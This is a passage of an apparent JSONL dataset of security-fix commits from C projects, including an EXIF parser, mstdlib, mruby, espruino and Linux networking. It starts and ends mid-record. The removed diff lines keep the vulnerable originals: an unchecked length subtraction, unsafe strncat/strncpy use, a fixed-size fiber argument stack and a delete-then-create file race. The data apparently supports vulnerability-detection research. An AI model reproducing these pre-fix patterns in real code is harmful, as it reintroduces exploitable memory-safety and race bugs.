+137,15 @@ static void iwjpeg_scan_exif_ifd(struct iwjpegrcontext *rctx,\n \tunsigned int v;\n \tdouble v_dbl;\n \n-\tif(ifd<8 || ifd>e->d_len-18) return;\n+\tif(ifd<8 || e->d_len<18 || ifd>e->d_len-18) return;\n \n-\ttag_count = iw_get_ui16_e(&e->d[ifd],e->endian);\n+\ttag_count = get_exif_ui16(e, ifd);\n \tif(tag_count>1000) return; // Sanity check.\n \n \tfor(i=0;i e->d_len) return; // Avoid overruns.\n-\t\ttag_id = iw_get_ui16_e(&e->d[tag_pos],e->endian);\n+\t\ttag_id = get_exif_ui16(e, tag_pos);\n \n \t\tswitch(tag_id) {\n \t\tcase 274: // 274 = Orientation\n", "related": false}, {"section": "@@ -177,7 +189,7 @@ static void iwjpeg_scan_exif(struct iwjpegrcontext *rctx,\n \n \te.endian = d[0]=='I' ? IW_ENDIAN_LITTLE : IW_ENDIAN_BIG;\n \n-\tifd = iw_get_ui32_e(&d[4],e.endian);\n+\tifd = get_exif_ui32(&e, 4);\n \n \tiwjpeg_scan_exif_ifd(rctx,&e,ifd);\n }", "related": false}]} +{"owner": "virustotal", "repo": "yara", "language": "C", "file_name": "libyara/include/yara/object.h", "commit_id": "053e67e3ec81cc9268ce30eaf0d6663d8639ed1e", "commit_message": "Fix issue #658", "patch": "@@ -86,6 +86,11 @@ void yr_object_destroy(\n YR_OBJECT* object);\n \n \n+int yr_object_copy(\n+ YR_OBJECT* object,\n+ YR_OBJECT** object_copy);\n+\n+\n YR_OBJECT* yr_object_lookup_field(\n YR_OBJECT* object,\n const char* field_name);", "sections": [{"section": "@@ -86,6 +86,11 @@ void yr_object_destroy(\n YR_OBJECT* object);\n \n \n+int yr_object_copy(\n+ YR_OBJECT* object,\n+ YR_OBJECT** object_copy);\n+\n+\n YR_OBJECT* yr_object_lookup_field(\n YR_OBJECT* object,\n const char* field_name);", "related": false}]} +{"owner": "monetra", "repo": "mstdlib", "language": "C", "file_name": "base/fs/m_fs.c", "commit_id": "db124b8f607dd0a40a9aef2d4d468fad433522a7", "commit_message": "fs: Don't try to delete the file when copying. It could cause a security issue if the file exists and doesn't allow other's to read/write. delete could allow someone to create the file and have access to the data.", "patch": "@@ -101,6 +101,15 @@ static M_bool M_fs_isfileintodir(const char *p1, const char *p2, char **new_p2)\n \treturn M_TRUE;\n }\n \n+/* Used by copy and move to determine if we can write to the given path\n+ * based on a file already existing there or not.\n+ *\n+ * access is used to determine existence because we don't want to overwrite\n+ * if there already is a file. This is not guaranteed because if there is\n+ * a race condition where a file is created after this check it will be\n+ * overwritten. Not much we can do about that. It shouldn't pose a security\n+ * issue since this is more of a request than a requirement.\n+ */\n static M_bool M_fs_check_overwrite_allowed(const char *p1, const char *p2, M_uint32 mode)\n {\n \tM_fs_info_t *info = NULL;\n@@ -129,8 +138,7 @@ static M_bool M_fs_check_overwrite_allowed(const char *p1, const char *p2, M_uin\n \n \tif (type != M_FS_TYPE_DIR) {\n \t\t/* File exists at path. */\n-\t\tif (M_fs_perms_can_access(p2, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS)\n-\t\t{\n+\t\tif (M_fs_perms_can_access(p2, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS) {\n \t\t\tret = M_FALSE;\n \t\t\tgoto done;\n \t\t}\n@@ -209,19 +217,6 @@ static M_fs_error_t M_fs_copy_file(const char *path_old, const char *path_new, M\n \tsize_t offset;\n \tM_fs_error_t res;\n \n-\t/* We're going to create/open/truncate the new file, then as we read the contents from the old file we'll write it\n- \t * to new file. */\n-\tif (M_fs_perms_can_access(path_new, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS) {\n-\t\t/* Try to delete the file since we'll be overwrite it. This is so when we create the file we create it without\n- \t\t * any permissions and to ensure that anything that has the file already open won't be able to read the new\n-\t\t * contents we're writing to the file or be able to change the perms. There is an unavoidable race condition\n-\t\t * between deleting and creating the file where someone could create the file and have access. However,\n-\t\t * depending on the OS they may have access even if the file is created with no perms... */\n-\t\tres = M_fs_delete(path_new, M_FALSE, NULL, M_FS_PROGRESS_NOEXTRA);\n-\t\tif (res != M_FS_ERROR_SUCCESS) {\n-\t\t\treturn res;\n-\t\t}\n-\t}\n \t/* Open the old file */\n \tres = M_fs_file_open(&fd_old, path_old, M_FS_BUF_SIZE, M_FS_FILE_MODE_READ|M_FS_FILE_MODE_NOCREATE, NULL);\n \tif (res != M_FS_ERROR_SUCCESS) {\n@@ -236,6 +231,9 @@ static M_fs_error_t M_fs_copy_file(const char *path_old, const char *path_new, M\n \t\t}\n \t\tperms = M_fs_info_get_perms(info);\n \t}\n+\n+\t/* We're going to create/open/truncate the new file, then as we read the contents from the old file we'll write it\n+\t * to new file. */\n \tres = M_fs_file_open(&fd_new, path_new, M_FS_BUF_SIZE, M_FS_FILE_MODE_WRITE|M_FS_FILE_MODE_OVERWRITE, perms);\n \tM_fs_info_destroy(info);\n \tif (res != M_FS_ERROR_SUCCESS) {\n@@ -333,7 +331,7 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode\n \t}\n \n \t/* Normalize the old path and do basic checks that it exists. We'll leave really checking that the old path\n- \t * existing to rename because any check we perform may not be true when rename is called. */\n+\t * existing to rename because any check we perform may not be true when rename is called. */\n \tres = M_fs_path_norm(&norm_path_old, path_old, M_FS_PATH_NORM_RESALL, M_FS_SYSTEM_AUTO);\n \tif (res != M_FS_ERROR_SUCCESS) {\n \t\tM_free(norm_path_new);\n@@ -351,7 +349,7 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode\n \t\treturn res;\n \t}\n \n- \t/* There is a race condition where the path could not exist but be created between the exists check and calling\n+\t/* There is a race condition where the path could not exist but be created between the exists check and calling\n \t * rename to move the file but there isn't much we can do in this case. copy will delete and the file so this\n \t * situation won't cause an error. */\n \tif (!M_fs_check_overwrite_allowed(norm_path_old, norm_path_new, mode)) {\n@@ -399,15 +397,15 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode\n \t\t\tres = M_fs_delete(norm_path_old, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);\n \t\t} else {\n \t\t\t/* Failure - Delete the new files that were copied but only if we are not overwriting. We don't\n- \t\t\t * want to remove any existing files (especially if the dest is a dir). */\n+\t\t\t * want to remove any existing files (especially if the dest is a dir). */\n \t\t\tif (!(mode & M_FS_FILE_MODE_OVERWRITE)) {\n \t\t\t\tM_fs_delete(norm_path_new, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);\n \t\t\t}\n \t\t\tres = M_FS_ERROR_GENERIC;\n \t\t}\n \t} else {\n \t\t/* Call the cb with the result of the move whether it was a success for fail. We call the cb only if the\n- \t\t * result of the move is not M_FS_ERROR_NOT_SAMEDEV because the copy operation will call the cb for us. */\n+\t\t * result of the move is not M_FS_ERROR_NOT_SAMEDEV because the copy operation will call the cb for us. */\n \t\tif (cb) {\n \t\t\tM_fs_progress_set_result(progress, res);\n \t\t\tif (!cb(progress)) {\n@@ -465,7 +463,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \t}\n \n \t/* Normalize the old path and do basic checks that it exists. We'll leave really checking that the old path\n- \t * existing to rename because any check we perform may not be true when rename is called. */\n+\t * existing to rename because any check we perform may not be true when rename is called. */\n \tres = M_fs_path_norm(&norm_path_old, path_old, M_FS_PATH_NORM_RESALL, M_FS_SYSTEM_AUTO);\n \tif (res != M_FS_ERROR_SUCCESS) {\n \t\tM_free(norm_path_new);\n@@ -485,7 +483,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \n \ttype = M_fs_info_get_type(info);\n \n- \t/* There is a race condition where the path could not exist but be created between the exists check and calling\n+\t/* There is a race condition where the path could not exist but be created between the exists check and calling\n \t * rename to move the file but there isn't much we can do in this case. copy will delete and the file so this\n \t * situation won't cause an error. */\n \tif (!M_fs_check_overwrite_allowed(norm_path_old, norm_path_new, mode)) {\n@@ -497,7 +495,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \n \tentries = M_fs_dir_entries_create();\n \t/* No need to destroy info because it's now owned by entries and will be destroyed when entries is destroyed.\n- \t * M_FS_DIR_WALK_FILTER_READ_INFO_BASIC doesn't actually get the perms it's just there to ensure the info is\n+\t * M_FS_DIR_WALK_FILTER_READ_INFO_BASIC doesn't actually get the perms it's just there to ensure the info is\n \t * stored in the entry. */\n \tM_fs_dir_entries_insert(entries, M_fs_dir_walk_fill_entry(norm_path_new, NULL, type, info, M_FS_DIR_WALK_FILTER_READ_INFO_BASIC));\n \tif (type == M_FS_TYPE_DIR) {\n@@ -523,7 +521,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \n \t\t\ttype = M_fs_dir_entry_get_type(entry);\n \t\t\t/* The total isn't the total number of files but the total number of operations. \n- \t\t\t * Making dirs and symlinks is one operation and copying a file will be split into\n+\t\t\t * Making dirs and symlinks is one operation and copying a file will be split into\n \t\t\t * multiple operations. Copying uses the M_FS_BUF_SIZE to read and write in\n \t\t\t * chunks. We determine how many chunks will be needed to read the entire file and\n \t\t\t * use that for the number of operations for the file. */\n@@ -600,7 +598,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \t}\n \n \t/* Delete the file(s) if it could not be copied properly, but only if we are not overwriting.\n- \t * If we're overwriting then there could be other files in that location (especially if it's a dir). */\n+\t * If we're overwriting then there could be other files in that location (especially if it's a dir). */\n \tif (res != M_FS_ERROR_SUCCESS && !(mode & M_FS_FILE_MODE_OVERWRITE)) {\n \t\tM_fs_delete(path_new, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);\n \t}\n@@ -659,7 +657,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress\n \tentries = M_fs_dir_entries_create();\n \n \t/* Recursive directory deletion isn't intuitive. We have to generate a list of files and delete the list.\n- \t * We cannot delete as walk because not all file systems support that operation. The walk; delete; behavior\n+\t * We cannot delete as walk because not all file systems support that operation. The walk; delete; behavior\n \t * is undefined in Posix and HFS is known to skip files if the directory contents is modifies as the\n \t * directory is being walked. */\n \tif (type == M_FS_TYPE_DIR && remove_children) {\n@@ -671,7 +669,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress\n \t}\n \n \t/* Add the original path to the list of entries. This may be the only entry in the list. We need to add\n- \t * it after a potential walk because we can't delete a directory that isn't empty.\n+\t * it after a potential walk because we can't delete a directory that isn't empty.\n \t * Note: \n \t * - The info will be owned by the entry and destroyed when it is destroyed. \n \t * - The basic info param doesn't get the info in this case. it's set so the info is stored in the entry. */\n@@ -680,7 +678,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress\n \tlen = M_fs_dir_entries_len(entries);\n \tif (cb) {\n \t\t/* Create the progress. The same progress will be used for the entire operation. It will be updated with\n- \t\t * new info as necessary. */\n+\t\t * new info as necessary. */\n \t\tprogress = M_fs_progress_create();\n \n \t\t/* Get the total size of all files to be deleted if using the progress cb and size totals is set. */", "sections": [{"section": "@@ -101,6 +101,15 @@ static M_bool M_fs_isfileintodir(const char *p1, const char *p2, char **new_p2)\n \treturn M_TRUE;\n }\n \n+/* Used by copy and move to determine if we can write to the given path\n+ * based on a file already existing there or not.\n+ *\n+ * access is used to determine existence because we don't want to overwrite\n+ * if there already is a file. This is not guaranteed because if there is\n+ * a race condition where a file is created after this check it will be\n+ * overwritten. Not much we can do about that. It shouldn't pose a security\n+ * issue since this is more of a request than a requirement.\n+ */\n static M_bool M_fs_check_overwrite_allowed(const char *p1, const char *p2, M_uint32 mode)\n {\n \tM_fs_info_t *info = NULL;\n", "related": false}, {"section": "@@ -129,8 +138,7 @@ static M_bool M_fs_check_overwrite_allowed(const char *p1, const char *p2, M_uin\n \n \tif (type != M_FS_TYPE_DIR) {\n \t\t/* File exists at path. */\n-\t\tif (M_fs_perms_can_access(p2, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS)\n-\t\t{\n+\t\tif (M_fs_perms_can_access(p2, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS) {\n \t\t\tret = M_FALSE;\n \t\t\tgoto done;\n \t\t}\n", "related": false}, {"section": "@@ -209,19 +217,6 @@ static M_fs_error_t M_fs_copy_file(const char *path_old, const char *path_new, M\n \tsize_t offset;\n \tM_fs_error_t res;\n \n-\t/* We're going to create/open/truncate the new file, then as we read the contents from the old file we'll write it\n- \t * to new file. */\n-\tif (M_fs_perms_can_access(path_new, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS) {\n-\t\t/* Try to delete the file since we'll be overwrite it. This is so when we create the file we create it without\n- \t\t * any permissions and to ensure that anything that has the file already open won't be able to read the new\n-\t\t * contents we're writing to the file or be able to change the perms. There is an unavoidable race condition\n-\t\t * between deleting and creating the file where someone could create the file and have access. However,\n-\t\t * depending on the OS they may have access even if the file is created with no perms... */\n-\t\tres = M_fs_delete(path_new, M_FALSE, NULL, M_FS_PROGRESS_NOEXTRA);\n-\t\tif (res != M_FS_ERROR_SUCCESS) {\n-\t\t\treturn res;\n-\t\t}\n-\t}\n \t/* Open the old file */\n \tres = M_fs_file_open(&fd_old, path_old, M_FS_BUF_SIZE, M_FS_FILE_MODE_READ|M_FS_FILE_MODE_NOCREATE, NULL);\n \tif (res != M_FS_ERROR_SUCCESS) {\n", "related": false}, {"section": "@@ -236,6 +231,9 @@ static M_fs_error_t M_fs_copy_file(const char *path_old, const char *path_new, M\n \t\t}\n \t\tperms = M_fs_info_get_perms(info);\n \t}\n+\n+\t/* We're going to create/open/truncate the new file, then as we read the contents from the old file we'll write it\n+\t * to new file. */\n \tres = M_fs_file_open(&fd_new, path_new, M_FS_BUF_SIZE, M_FS_FILE_MODE_WRITE|M_FS_FILE_MODE_OVERWRITE, perms);\n \tM_fs_info_destroy(info);\n \tif (res != M_FS_ERROR_SUCCESS) {\n", "related": false}, {"section": "@@ -333,7 +331,7 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode\n \t}\n \n \t/* Normalize the old path and do basic checks that it exists. We'll leave really checking that the old path\n- \t * existing to rename because any check we perform may not be true when rename is called. */\n+\t * existing to rename because any check we perform may not be true when rename is called. */\n \tres = M_fs_path_norm(&norm_path_old, path_old, M_FS_PATH_NORM_RESALL, M_FS_SYSTEM_AUTO);\n \tif (res != M_FS_ERROR_SUCCESS) {\n \t\tM_free(norm_path_new);\n", "related": false}, {"section": "@@ -351,7 +349,7 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode\n \t\treturn res;\n \t}\n \n- \t/* There is a race condition where the path could not exist but be created between the exists check and calling\n+\t/* There is a race condition where the path could not exist but be created between the exists check and calling\n \t * rename to move the file but there isn't much we can do in this case. copy will delete and the file so this\n \t * situation won't cause an error. */\n \tif (!M_fs_check_overwrite_allowed(norm_path_old, norm_path_new, mode)) {\n", "related": false}, {"section": "@@ -399,15 +397,15 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode\n \t\t\tres = M_fs_delete(norm_path_old, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);\n \t\t} else {\n \t\t\t/* Failure - Delete the new files that were copied but only if we are not overwriting. We don't\n- \t\t\t * want to remove any existing files (especially if the dest is a dir). */\n+\t\t\t * want to remove any existing files (especially if the dest is a dir). */\n \t\t\tif (!(mode & M_FS_FILE_MODE_OVERWRITE)) {\n \t\t\t\tM_fs_delete(norm_path_new, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);\n \t\t\t}\n \t\t\tres = M_FS_ERROR_GENERIC;\n \t\t}\n \t} else {\n \t\t/* Call the cb with the result of the move whether it was a success for fail. We call the cb only if the\n- \t\t * result of the move is not M_FS_ERROR_NOT_SAMEDEV because the copy operation will call the cb for us. */\n+\t\t * result of the move is not M_FS_ERROR_NOT_SAMEDEV because the copy operation will call the cb for us. */\n \t\tif (cb) {\n \t\t\tM_fs_progress_set_result(progress, res);\n \t\t\tif (!cb(progress)) {\n", "related": false}, {"section": "@@ -465,7 +463,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \t}\n \n \t/* Normalize the old path and do basic checks that it exists. We'll leave really checking that the old path\n- \t * existing to rename because any check we perform may not be true when rename is called. */\n+\t * existing to rename because any check we perform may not be true when rename is called. */\n \tres = M_fs_path_norm(&norm_path_old, path_old, M_FS_PATH_NORM_RESALL, M_FS_SYSTEM_AUTO);\n \tif (res != M_FS_ERROR_SUCCESS) {\n \t\tM_free(norm_path_new);\n", "related": false}, {"section": "@@ -485,7 +483,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \n \ttype = M_fs_info_get_type(info);\n \n- \t/* There is a race condition where the path could not exist but be created between the exists check and calling\n+\t/* There is a race condition where the path could not exist but be created between the exists check and calling\n \t * rename to move the file but there isn't much we can do in this case. copy will delete and the file so this\n \t * situation won't cause an error. */\n \tif (!M_fs_check_overwrite_allowed(norm_path_old, norm_path_new, mode)) {\n", "related": false}, {"section": "@@ -497,7 +495,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \n \tentries = M_fs_dir_entries_create();\n \t/* No need to destroy info because it's now owned by entries and will be destroyed when entries is destroyed.\n- \t * M_FS_DIR_WALK_FILTER_READ_INFO_BASIC doesn't actually get the perms it's just there to ensure the info is\n+\t * M_FS_DIR_WALK_FILTER_READ_INFO_BASIC doesn't actually get the perms it's just there to ensure the info is\n \t * stored in the entry. */\n \tM_fs_dir_entries_insert(entries, M_fs_dir_walk_fill_entry(norm_path_new, NULL, type, info, M_FS_DIR_WALK_FILTER_READ_INFO_BASIC));\n \tif (type == M_FS_TYPE_DIR) {\n", "related": false}, {"section": "@@ -523,7 +521,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \n \t\t\ttype = M_fs_dir_entry_get_type(entry);\n \t\t\t/* The total isn't the total number of files but the total number of operations. \n- \t\t\t * Making dirs and symlinks is one operation and copying a file will be split into\n+\t\t\t * Making dirs and symlinks is one operation and copying a file will be split into\n \t\t\t * multiple operations. Copying uses the M_FS_BUF_SIZE to read and write in\n \t\t\t * chunks. We determine how many chunks will be needed to read the entire file and\n \t\t\t * use that for the number of operations for the file. */\n", "related": false}, {"section": "@@ -600,7 +598,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode\n \t}\n \n \t/* Delete the file(s) if it could not be copied properly, but only if we are not overwriting.\n- \t * If we're overwriting then there could be other files in that location (especially if it's a dir). */\n+\t * If we're overwriting then there could be other files in that location (especially if it's a dir). */\n \tif (res != M_FS_ERROR_SUCCESS && !(mode & M_FS_FILE_MODE_OVERWRITE)) {\n \t\tM_fs_delete(path_new, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);\n \t}\n", "related": false}, {"section": "@@ -659,7 +657,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress\n \tentries = M_fs_dir_entries_create();\n \n \t/* Recursive directory deletion isn't intuitive. We have to generate a list of files and delete the list.\n- \t * We cannot delete as walk because not all file systems support that operation. The walk; delete; behavior\n+\t * We cannot delete as walk because not all file systems support that operation. The walk; delete; behavior\n \t * is undefined in Posix and HFS is known to skip files if the directory contents is modifies as the\n \t * directory is being walked. */\n \tif (type == M_FS_TYPE_DIR && remove_children) {\n", "related": false}, {"section": "@@ -671,7 +669,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress\n \t}\n \n \t/* Add the original path to the list of entries. This may be the only entry in the list. We need to add\n- \t * it after a potential walk because we can't delete a directory that isn't empty.\n+\t * it after a potential walk because we can't delete a directory that isn't empty.\n \t * Note: \n \t * - The info will be owned by the entry and destroyed when it is destroyed. \n \t * - The basic info param doesn't get the info in this case. it's set so the info is stored in the entry. */\n", "related": false}, {"section": "@@ -680,7 +678,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress\n \tlen = M_fs_dir_entries_len(entries);\n \tif (cb) {\n \t\t/* Create the progress. The same progress will be used for the entire operation. It will be updated with\n- \t\t * new info as necessary. */\n+\t\t * new info as necessary. */\n \t\tprogress = M_fs_progress_create();\n \n \t\t/* Get the total size of all files to be deleted if using the progress cb and size totals is set. */", "related": false}]} +{"owner": "viabtc", "repo": "viabtc_exchange_server", "language": "C", "file_name": "utils/ut_rpc.h", "commit_id": "4a7c27bfe98f409623d4d857894d017ff0672cc9", "commit_message": "Merge pull request #131 from benjaminchodroff/master\n\nfix memory corruption and other 32bit overflows", "patch": "@@ -32,6 +32,7 @@ typedef struct rpc_pkg {\n # pragma pack()\n \n # define RPC_PKG_HEAD_SIZE (sizeof(rpc_pkg) - sizeof(void *) * 2)\n+# define RPC_PKG_MAX_BODY_SIZE ((UINT32_MAX / 2) - UINT16_MAX - sizeof(rpc_pkg))\n \n int rpc_decode(nw_ses *ses, void *data, size_t max);\n int rpc_pack(rpc_pkg *pkg, void **data, uint32_t *size);", "sections": [{"section": "@@ -32,6 +32,7 @@ typedef struct rpc_pkg {\n # pragma pack()\n \n # define RPC_PKG_HEAD_SIZE (sizeof(rpc_pkg) - sizeof(void *) * 2)\n+# define RPC_PKG_MAX_BODY_SIZE ((UINT32_MAX / 2) - UINT16_MAX - sizeof(rpc_pkg))\n \n int rpc_decode(nw_ses *ses, void *data, size_t max);\n int rpc_pack(rpc_pkg *pkg, void **data, uint32_t *size);", "related": false}]} +{"owner": "mruby", "repo": "mruby", "language": "C", "file_name": "mrbgems/mruby-fiber/src/fiber.c", "commit_id": "778500563a9f7ceba996937dc886bd8cde29b42b", "commit_message": "Extend stack when pushing arguments that does not fit in; fix #4038", "patch": "@@ -184,26 +184,27 @@ fiber_switch(mrb_state *mrb, mrb_value self, mrb_int len, const mrb_value *a, mr\n {\n struct mrb_context *c = fiber_check(mrb, self);\n struct mrb_context *old_c = mrb->c;\n+ enum mrb_fiber_state status;\n mrb_value value;\n \n fiber_check_cfunc(mrb, c);\n- if (resume && c->status == MRB_FIBER_TRANSFERRED) {\n+ status = c->status;\n+ if (resume && status == MRB_FIBER_TRANSFERRED) {\n mrb_raise(mrb, E_FIBER_ERROR, \"resuming transferred fiber\");\n }\n- if (c->status == MRB_FIBER_RUNNING || c->status == MRB_FIBER_RESUMED) {\n+ if (status == MRB_FIBER_RUNNING || status == MRB_FIBER_RESUMED) {\n mrb_raise(mrb, E_FIBER_ERROR, \"double resume (fib)\");\n }\n- if (c->status == MRB_FIBER_TERMINATED) {\n+ if (status == MRB_FIBER_TERMINATED) {\n mrb_raise(mrb, E_FIBER_ERROR, \"resuming dead fiber\");\n }\n- mrb->c->status = resume ? MRB_FIBER_RESUMED : MRB_FIBER_TRANSFERRED;\n+ old_c->status = resume ? MRB_FIBER_RESUMED : MRB_FIBER_TRANSFERRED;\n c->prev = resume ? mrb->c : (c->prev ? c->prev : mrb->root_c);\n- if (c->status == MRB_FIBER_CREATED) {\n+ fiber_switch_context(mrb, c);\n+ if (status == MRB_FIBER_CREATED) {\n mrb_value *b, *e;\n \n- if (len >= c->stend - c->stack) {\n- mrb_raise(mrb, E_FIBER_ERROR, \"too many arguments to fiber\");\n- }\n+ mrb_stack_extend(mrb, len+2); /* for receiver and (optional) block */\n b = c->stack+1;\n e = b + len;\n while (bvmexec = TRUE;", "sections": [{"section": "@@ -184,26 +184,27 @@ fiber_switch(mrb_state *mrb, mrb_value self, mrb_int len, const mrb_value *a, mr\n {\n struct mrb_context *c = fiber_check(mrb, self);\n struct mrb_context *old_c = mrb->c;\n+ enum mrb_fiber_state status;\n mrb_value value;\n \n fiber_check_cfunc(mrb, c);\n- if (resume && c->status == MRB_FIBER_TRANSFERRED) {\n+ status = c->status;\n+ if (resume && status == MRB_FIBER_TRANSFERRED) {\n mrb_raise(mrb, E_FIBER_ERROR, \"resuming transferred fiber\");\n }\n- if (c->status == MRB_FIBER_RUNNING || c->status == MRB_FIBER_RESUMED) {\n+ if (status == MRB_FIBER_RUNNING || status == MRB_FIBER_RESUMED) {\n mrb_raise(mrb, E_FIBER_ERROR, \"double resume (fib)\");\n }\n- if (c->status == MRB_FIBER_TERMINATED) {\n+ if (status == MRB_FIBER_TERMINATED) {\n mrb_raise(mrb, E_FIBER_ERROR, \"resuming dead fiber\");\n }\n- mrb->c->status = resume ? MRB_FIBER_RESUMED : MRB_FIBER_TRANSFERRED;\n+ old_c->status = resume ? MRB_FIBER_RESUMED : MRB_FIBER_TRANSFERRED;\n c->prev = resume ? mrb->c : (c->prev ? c->prev : mrb->root_c);\n- if (c->status == MRB_FIBER_CREATED) {\n+ fiber_switch_context(mrb, c);\n+ if (status == MRB_FIBER_CREATED) {\n mrb_value *b, *e;\n \n- if (len >= c->stend - c->stack) {\n- mrb_raise(mrb, E_FIBER_ERROR, \"too many arguments to fiber\");\n- }\n+ mrb_stack_extend(mrb, len+2); /* for receiver and (optional) block */\n b = c->stack+1;\n e = b + len;\n while (bvmexec = TRUE;", "related": false}]} +{"owner": "espruino", "repo": "espruino", "language": "C", "file_name": "src/jslex.c", "commit_id": "0a7619875bf79877907205f6bee08465b89ff10b", "commit_message": "Fix strncat/cpy bounding issues (fix #1425)", "patch": "@@ -814,19 +814,14 @@ void jslTokenAsString(int token, char *str, size_t len) {\n }\n \n assert(len>=10);\n- strncpy(str, \"?[\",len);\n- itostr(token, &str[2], 10);\n- strncat(str, \"]\",len);\n+ espruino_snprintf(str, len, \"?[%d]\", token);\n }\n \n void jslGetTokenString(char *str, size_t len) {\n if (lex->tk == LEX_ID) {\n- strncpy(str, \"ID:\", len);\n- strncat(str, jslGetTokenValueAsString(), len);\n+ espruino_snprintf(str, len, \"ID:%s\", jslGetTokenValueAsString());\n } else if (lex->tk == LEX_STR) {\n- strncpy(str, \"String:'\", len);\n- strncat(str, jslGetTokenValueAsString(), len);\n- strncat(str, \"'\", len);\n+ espruino_snprintf(str, len, \"String:'%s'\", jslGetTokenValueAsString());\n } else\n jslTokenAsString(lex->tk, str, len);\n }", "sections": [{"section": "@@ -814,19 +814,14 @@ void jslTokenAsString(int token, char *str, size_t len) {\n }\n \n assert(len>=10);\n- strncpy(str, \"?[\",len);\n- itostr(token, &str[2], 10);\n- strncat(str, \"]\",len);\n+ espruino_snprintf(str, len, \"?[%d]\", token);\n }\n \n void jslGetTokenString(char *str, size_t len) {\n if (lex->tk == LEX_ID) {\n- strncpy(str, \"ID:\", len);\n- strncat(str, jslGetTokenValueAsString(), len);\n+ espruino_snprintf(str, len, \"ID:%s\", jslGetTokenValueAsString());\n } else if (lex->tk == LEX_STR) {\n- strncpy(str, \"String:'\", len);\n- strncat(str, jslGetTokenValueAsString(), len);\n- strncat(str, \"'\", len);\n+ espruino_snprintf(str, len, \"String:'%s'\", jslGetTokenValueAsString());\n } else\n jslTokenAsString(lex->tk, str, len);\n }", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv4/igmp.c", "commit_id": "25c413ad0029ea86008234be28aee33456e53e5b", "commit_message": "igmp: Avoid zero delay when receiving odd mixture of IGMP queries\n\ncommit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.\n\nCommit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP\nbehavior on v3 query during v2-compatibility mode') added yet another\ncase for query parsing, which can result in max_delay = 0. Substitute\na value of 1, as in the usual v3 case.\n\nReported-by: Simon McVittie \nReferences: http://bugs.debian.org/654876\nSigned-off-by: Ben Hutchings \nSigned-off-by: David S. Miller ", "patch": "@@ -875,6 +875,8 @@ static void igmp_heard_query(struct in_device *in_dev, struct sk_buff *skb,\n \t\t * to be intended in a v3 query.\n \t\t */\n \t\tmax_delay = IGMPV3_MRC(ih3->code)*(HZ/IGMP_TIMER_SCALE);\n+\t\tif (!max_delay)\n+\t\t\tmax_delay = 1;\t/* can't mod w/ 0 */\n \t} else { /* v3 */\n \t\tif (!pskb_may_pull(skb, sizeof(struct igmpv3_query)))\n \t\t\treturn;", "sections": [{"section": "@@ -875,6 +875,8 @@ static void igmp_heard_query(struct in_device *in_dev, struct sk_buff *skb,\n \t\t * to be intended in a v3 query.\n \t\t */\n \t\tmax_delay = IGMPV3_MRC(ih3->code)*(HZ/IGMP_TIMER_SCALE);\n+\t\tif (!max_delay)\n+\t\t\tmax_delay = 1;\t/* can't mod w/ 0 */\n \t} else { /* v3 */\n \t\tif (!pskb_may_pull(skb, sizeof(struct igmpv3_query)))\n \t\t\treturn;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/gfs2/incore.h", "commit_id": "64dd153c83743af81f20924c6343652d731eeecb", "commit_message": "GFS2: rewrite fallocate code to write blocks directly\n\nGFS2's fallocate code currently goes through the page cache. Since it's only\nwriting to the end of the file or to holes in it, it doesn't need to, and it\nwas causing issues on low memory environments. This patch pulls in some of\nSteve's block allocation work, and uses it to simply allocate the blocks for\nthe file, and zero them out at allocation time. It provides a slight\nperformance increase, and it dramatically simplifies the code.\n\nSigned-off-by: Benjamin Marzinski \nSigned-off-by: Steven Whitehouse ", "patch": "@@ -103,12 +103,15 @@ struct gfs2_rgrpd {\n enum gfs2_state_bits {\n \tBH_Pinned = BH_PrivateStart,\n \tBH_Escaped = BH_PrivateStart + 1,\n+\tBH_Zeronew = BH_PrivateStart + 2,\n };\n \n BUFFER_FNS(Pinned, pinned)\n TAS_BUFFER_FNS(Pinned, pinned)\n 